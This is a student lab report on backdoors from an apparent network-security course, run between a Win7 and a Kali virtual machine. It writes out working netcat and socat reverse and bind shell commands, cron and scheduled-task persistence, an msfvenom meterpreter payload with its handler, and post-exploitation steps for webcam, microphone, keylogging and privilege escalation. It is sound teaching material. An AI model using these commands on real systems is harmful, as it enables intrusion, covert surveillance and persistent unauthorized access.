• 2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 20165222


    Exp2 后门原理与实践

    实验环境

    win7ip地址为: 192.168.136.130 

    kali.ip地址为: 192.168.136.129

    两台虚拟机可以ping通

    实验步骤

    1,使用netcat获取主机操作Shell,cron启动

    (1)使用WIN7进行监听,kali反弹连接。WIN7中输入ncat.exe -l -p 5222,获取监听。

    kali中输入nc 192.168.136.130 5222 -e /bin/sh,与WIN7进行连接,WIN7获得kali的shell。

    反过来,kali监听win7也可以。

    linux监听,输入命令 nc -l -p 5222.

    win7去反弹连接,在ncat目录下输入ncat.exe -e cmd.exe 192.168.136.129 5222.

    (2)cron启动时让linux受害者去定时反弹连接win7。

    crontab -e增加一条定时任务。

    格式如下:

    m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
    * * * * * +执行什么指令(包含在哪)。

    该实验中我的如下:

    结果如下:在10:01时,kali中无任何操作,但WIN7已经连接上kali的shell。

    2.使用socat获取主机操作Shell, 任务计划启动

    在WIN7控制面板>系统和安全>计划任务>创建任务。在触发器栏开始任务选择工作站锁定时,操作栏选择socat.exe路径,在添加参数一栏中写tcp-listen:5222 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口5222,同时把cmd.exe的stderr重定向到stdout上,确定,然后运行,锁定弹出的任务栏。

    在kali中输入:socat - tcp:192.168.136.130:5222,可得到WIN7shell。

    3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

    在kali中用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=5222 -f exe > 20165222_backdoor.exe生成可执行文件。

    先在WIN7中用ncat -l 5222> 20165222backdoor.exe准备将接受文件写入 20165222backdoor.exe。
    再到kali中用ncat -nv 192.168.136.130 5222 < 20165222_backdoor.exe传过去。

    接下来就要开始操作了。

    在kali中输入msfconsole,开始使用MSF。

    然后依次输入

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.136.129 //为kali的IP!
    set LPORT 5222 //后门程序里的端口号
    show options
    exploit

    开始监听。

    WIN7运行后门程序,即可建立连接。

    4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

     抓屏:screenshot;获取音频:record_mic;获取摄像头或录像:webcam_snap/webcam_stream.

    检查是否是虚拟机:info post/windows/gather/checkvm

    可见是虚拟机

    键盘录入:run post/windows/capture/keylog_recorder

    权限提升:getsystem,查看权限:getuid。

    图中已经成为管理员。

    基础问题回答

    例举你能想到的一个后门进入到你系统中的可能方式?

    1,捆绑在某些软件内。运行该软件时,后门也跟着运行,比如可能存在的某些杀毒软件。

    2,系统自带。

    例举你知道的后门如何启动起来(win及linux)的方式?

    1,通过修改注册表开机自动启动。

    2,跟随软件运行时启动。

    3,配置任务计划等到一定时间自动启动。

    Meterpreter有哪些给你映像深刻的功能?

    拍照功能。

    如何发现自己有系统有没有被安装后门?

    看进程的话,后门程序本身就能捆绑到其他进程上,所以我认为应用抓包的方法,如果看到一些奇奇怪怪的包,可能被装了后门程序。

    实验总结与体会

    这次实验的话,前四项都比较简单,只要知道有这个东西,就算忘记了命令,查一下也能弄出来,其中MSF相当好玩,有空多去研究一下。而加分项就比较麻烦了,至少我到现在都没弄出来。还有一个比较重要的是,我感觉我要先把摄像头驱动给删了或者把摄像头给挡了,以后要用到再安装,用完就删。最好以后再把win10自带的系统进程,任务服务器,注册表,文件服务等东西记一下,去学习弄个脚本或者其他东西每次开机把非系统进程全部XX掉,抓包就算了,难分析。

  • 相关阅读:
    redis之(十二)redis数据的持久化
    redis之(十一)redis实现缓存的功能
    redis之(十)redis实现消息中间件的功能
    redis之(九)redis的事务机制
    SQL关于IN和EXISTS的用法和区别的比较
    mysql explain extra理解
    mysql explain rows理解
    mysql explain中key_len值的说明
    redis常见重要性能指标数据分析和相关问题解决方案
    java.lang.UnsupportedOperationException解决方法!!!
  • 原文地址:https://www.cnblogs.com/20165222lixu/p/10587852.html
Copyright © 2020-2023  润新知